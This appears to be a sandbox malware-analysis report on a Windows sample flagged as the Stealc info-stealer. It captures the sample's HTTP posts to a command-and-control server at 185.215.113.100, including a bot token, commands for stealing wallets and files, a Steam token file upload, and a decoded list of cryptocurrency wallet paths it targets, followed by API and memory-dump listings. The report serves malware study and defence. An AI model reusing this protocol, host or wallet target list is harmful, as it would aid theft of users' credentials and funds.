Aug 31, 2024 10:14:18.604971886 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFI Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 2d 2d 0d 0a Data Ascii: ------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="message"wallets------JJJKEHCAKFBFHJKEHCFI--
Aug 31, 2024 10:14:18.849240065 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:18 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Aug 31, 2024 10:14:18.851207972 CEST	467	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJKFHIIEHIEGDHJJJKFI Host: 185.215.113.100 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 46 48 49 49 45 48 49 45 47 44 48 4a 4a 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJKFHIIEHIEGDHJJJKFIContent-Disposition: form-data; name="message"files------IJKFHIIEHIEGDHJJJKFI--
Aug 31, 2024 10:14:19.095191956 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:19.104587078 CEST	565	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDBFHDHJKKJDHJJJJKEG Host: 185.215.113.100 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 42 46 48 44 48 4a 4b 4b 4a 44 48 4a 4a 4a 4a 4b 45 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------GDBFHDHJKKJDHJJJJKEGContent-Disposition: form-data; name="file"------GDBFHDHJKKJDHJJJJKEG--
Aug 31, 2024 10:14:19.894722939 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:19.917273998 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJDAEGCAFIIDGDGCGIJ Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 44 41 45 47 43 41 46 49 49 44 47 44 47 43 47 49 4a 2d 2d 0d 0a Data Ascii: ------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------AKJDAEGCAFIIDGDGCGIJContent-Disposition: form-data; name="message"ybncbhylepme------AKJDAEGCAFIIDGDGCGIJ--
Aug 31, 2024 10:14:20.166136980 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 5458 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 31 3c 62 72 3e 3c 62 72 3e 2a 2e 30 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6c 3c 62 72 3e 3c 62 72 3e 2a 2e 61 72 3c 62 72 3e 3c 62 72 3e 2a 2e 62 72 3c 62 72 3e 3c 62 72 3e 2a 2e 65 63 3c 62 72 3e 3c 62 72 3e 2a 2e 65 67 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 70 74 3c 62 72 3e 3c 62 72 3e 2a 2e 61 63 3c 62 72 3e 3c 62 72 3e 2a 2e 62 64 3c 62 72 3e 3c 62 72 3e 2a 2e 7a 6d 3c 62 72 3e 3c 62 72 3e 2a 2e 76 65 3c 62 72 3e 3c 62 72 3e 2a 2e 70 6b 3c 62 72 3e 3c 62 72 3e 2a 2e 72 73 3c 62 72 3e 3c 62 72 3e 2a 2e 70 68 3c 62 72 3e 3c 62 72 3e 2a 2e 6d 78 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6e 3c 62 72 3e 3c 62 72 3e 2a 2e 74 68 3c 62 72 3e 3c 62 72 3e 2a 2e 63 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 7a 2e 69 64 3c 62 72 3e 3c 62 72 3e 2a 2e 74 72 3c 62 72 3e 3c 62 72 3e 2a 2e 63 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 69 6f 3c 62 72 3e 3c 62 72 3e 2a 2e 64 7a 3c 62 72 3e 3c 62 72 3e 2a 2e 64 65 3c 62 72 3e 3c 62 72 3e 2a 2e 6b 72 3c 62 72 3e 3c 62 72 3e 2a 2e 6d [TRUNCATED] Data Ascii: .1<br><br>.0<br><br>.pl<br><br>.ar<br><br>.br<br><br>.ec<br><br>.eg<br><br>.in<br><br>.pt<br><br>.ac<br><br>.bd<br><br>.zm<br><br>.ve<br><br>.pk<br><br>.rs<br><br>.ph<br><br>.mx<br><br>.in<br><br>.th<br><br>.co<br><br>.id<br><br>z.id<br><br>.tr<br><br>.cz<br><br>.io<br><br>.dz<br><br>.de<br><br>.kr<br><br>.ma<br><br>.jp<br><br>.za<br><br>.sa<br><br>.vn<br><br>.cl<br><br>.pe<br><br>.ke<br><br>.tw<br><br>.cn<br><br>.my<br><br>.mz<br><br>.sv<br><br>.au<br><br>.bo<br><br>.mn<br><br>.lb<br><br>.es<br><br>.org<br><br>.uk<br><br>.ug<br><br>.sy<br><br>.gh<br><br>.bc<br><br>.ao<br><br>.ni<br><br>.ng<br><br>.to<br><br>.edu<br><br>.it<br><br>.tn<br><br>.net<br><br>.gn<br><br>.hk<br><br>.uy<br><br>.ae<br><br>.np<br><br>.mm<br><br>.do<br><br>.ir<br><br>.biz<br><br>.tv<br><br>.gt<br><br>.ps<br><br>.dk<br><br>.gp<br><br>.hu<br><br>.ge<br><br>.ci<br><br>.ca<br><br>.al<br><br>.jo<br><br>.sn<br><br>.is<br><br>.ro<br><br>.cr<br><
Aug 31, 2024 10:14:20.167670965 CEST	474	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.100 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IJEGHJECFCFCBFIDBGCG--
Aug 31, 2024 10:14:21.006186962 CEST	202	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	04:13:55
Start date:	31/08/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb10000
File size:	1'800'704 bytes
MD5 hash:	365B68B5CE1D90A3CD9A2580D5F557C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2255662076.000000000072E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3%
Total number of Nodes:	2000
Total number of Limit Nodes:	31

Executed Functions

Function 00B29270 Relevance: 63.2, APIs: 33, Strings: 3, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,007412E8), ref: 00B292B1
GetProcAddress.KERNEL32(75900000,00741258), ref: 00B292CA
GetProcAddress.KERNEL32(75900000,00741360), ref: 00B292E2
GetProcAddress.KERNEL32(75900000,00741168), ref: 00B292FA
GetProcAddress.KERNEL32(75900000,00741210), ref: 00B29313
GetProcAddress.KERNEL32(75900000,00748DF0), ref: 00B2932B
GetProcAddress.KERNEL32(75900000,00736688), ref: 00B29343
GetProcAddress.KERNEL32(75900000,00736528), ref: 00B2935C
GetProcAddress.KERNEL32(75900000,007413A8), ref: 00B29374
GetProcAddress.KERNEL32(75900000,00741318), ref: 00B2938C
GetProcAddress.KERNEL32(75900000,00741300), ref: 00B293A5
GetProcAddress.KERNEL32(75900000,00741288), ref: 00B293BD
GetProcAddress.KERNEL32(75900000,00736808), ref: 00B293D5
GetProcAddress.KERNEL32(75900000,00741330), ref: 00B293EE
GetProcAddress.KERNEL32(75900000,007413D8), ref: 00B29406
GetProcAddress.KERNEL32(75900000,00736508), ref: 00B2941E
GetProcAddress.KERNEL32(75900000,00741180), ref: 00B29437
GetProcAddress.KERNEL32(75900000,00741348), ref: 00B2944F
GetProcAddress.KERNEL32(75900000,00736788), ref: 00B29467
GetProcAddress.KERNEL32(75900000,007411B0), ref: 00B29480
GetProcAddress.KERNEL32(75900000,007368A8), ref: 00B29498
LoadLibraryA.KERNEL32(007412A0,?,00B264A0), ref: 00B294AA
LoadLibraryA.KERNEL32(00741378,?,00B264A0), ref: 00B294BB
LoadLibraryA.KERNEL32(00741390,?,00B264A0), ref: 00B294CD
LoadLibraryA.KERNEL32(007413C0,?,00B264A0), ref: 00B294DF
LoadLibraryA.KERNEL32(007411E0,?,00B264A0), ref: 00B294F0
GetProcAddress.KERNEL32(75070000,007413F0), ref: 00B29512
GetProcAddress.KERNEL32(75FD0000,007411C8), ref: 00B29533
GetProcAddress.KERNEL32(75FD0000,007492A0), ref: 00B2954B
GetProcAddress.KERNEL32(75A50000,00749078), ref: 00B2956D
GetProcAddress.KERNEL32(74E50000,00736648), ref: 00B2958E
GetProcAddress.KERNEL32(76E80000,00748ED0), ref: 00B295AF
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00B295C6

Strings

NtQueryInformationProcess, xrefs: 00B295BA
Hfs, xrefs: 00B29581
(es, xrefs: 00B2934E

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C01000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C0D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C10000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000C97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000CBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000D50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000EDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FBA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FDC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FE7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256196033.0000000000FF7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256403368.0000000000FF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256494650.0000000001198000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2256509444.0000000001199000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b10000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: (es$Hfs$NtQueryInformationProcess
API String ID: 2238633743-3364989217
Opcode ID: ee2c3b61ee5bae924af149a273ecfa758793b5f3a1a50b47b1640e05ccd05677
Instruction ID: 7ac632d2b67d73f970c635c14f49269c9801ab557f0aa89c13eb8a26b4f96af4
Opcode Fuzzy Hash: ee2c3b61ee5bae924af149a273ecfa758793b5f3a1a50b47b1640e05ccd05677
Instruction Fuzzy Hash: 5AA12EBA522300EFC748EFA8FD88A163BAABB4CB41B45A519F509E3364D7349441DF74

Function 00B14610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00B1465E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00B147EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B147CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B147B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1479F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B147C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B147AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B1476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B14784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00B146D3

Memory Dump Source

Source File: 00000000.00000002.2255940612.0000000000B11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000000.00000002.2255925489.0000000000B10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B4C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000B7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255940612.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
